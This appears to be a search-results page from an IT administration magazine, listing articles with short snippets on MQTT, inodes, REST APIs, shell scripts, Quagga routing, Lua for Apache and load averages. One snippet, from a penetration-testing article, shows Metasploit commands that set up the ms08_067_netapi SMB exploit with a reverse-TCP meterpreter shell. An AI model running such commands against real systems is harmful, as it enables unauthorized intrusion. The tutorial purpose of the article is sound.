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Using the MQTT IoT protocol for unusual but useful purposes
03.12.2015
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Lead Image © Heiko Küverling, 123RF.com
site. A new candidate called Vernemq [2] was written in Erlang and supports clustering. Hivemq [3], written in Java, has proved its worth in the commercial environment: Hivemq also comes with clustering
18%
What Is an Inode?
23.03.2022
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of the inodes when the filesystem is created, resulting in a fixed number of inodes. For example, ext3 and ext4 filesystems do this. The result is that the filesystem has a fixed number of inodes, which
18%
RESTful APIs in practice
09.10.2017
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Lead Image © Michal Bednarek, 123RF.com
three to examine in this article. Two are popular Internet services from Twitter [2] and WordPress [3]. Because of the high number of users and open interfaces, you can expect an affinity with REST
18%
Shell scripts: Equal rights for Unix derivatives and Linux
30.11.2025
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Mike Flippo, 123RF
="" 04 PING="ping -c1 -w 3" 05 PING2="" 06 07 case $OS in 08 HP-UX*) 09 PING=ping 10 PING2="-n 1" 11 RSH="remsh" 12 RSH2="-l user" 13 ;; 14 Sun
18%
Dynamic routing in Linux with Quagga
31.10.2025
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© petrol, 123RF.com
password 8 ZDF339a.20a3E 05 log file /var/log/quagga/zebra.log 06 service password-encryption 07 ! 08 interface eth0 09 multicast 10 ipv6 nd suppress-ra 11 ! 12 interface eth1 13 ip address 10
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Lua for Apache
10.07.2012
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 the "Hello World" text: 06    r:puts("Hello World!") 07 end Listing 3 shows the content. The handler() function first sets the MIME type to text/html and then issues multiple r.puts() to create the start
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Penetration testing and shell tossing with Metasploit
30.11.2025
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© Jean-Marie Guyon, 123RF.com
, I do the following: msf > use exploit/windows/smb/ms08_067_netapi msf > set payload windows/meterpreter/reverse_tcp msf > set lhost 10.10.3.218 msf > set lport 5555 msf > set rhost 10.10.3.188 msf
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Expand your sphere with a piece of Google
30.11.2025
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© artida, 123RF.com
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" 04 "http://java.sun.com/dtd/web-app_2_3.dtd"> 05 06 07 08
18%
Law of Averages – Load Averaging
01.02.2013
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at the output of uptime [1] on OS X:   13:03 up 2 days, 12:01, 2 users, load averages: 0.52 0.59 0.63   The uptime command displays the load average in its common form, averaging the last one, five, and 15
18%
TCP Stealth hides open ports
10.04.2015
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Lead Image © momo5287, 123RF.com
, and there are several implementations [3]. What Happened Thus Far Figure 1 shows a typical setup with port knocking. The components involved here are the client and the server application, with a firewall to keep out

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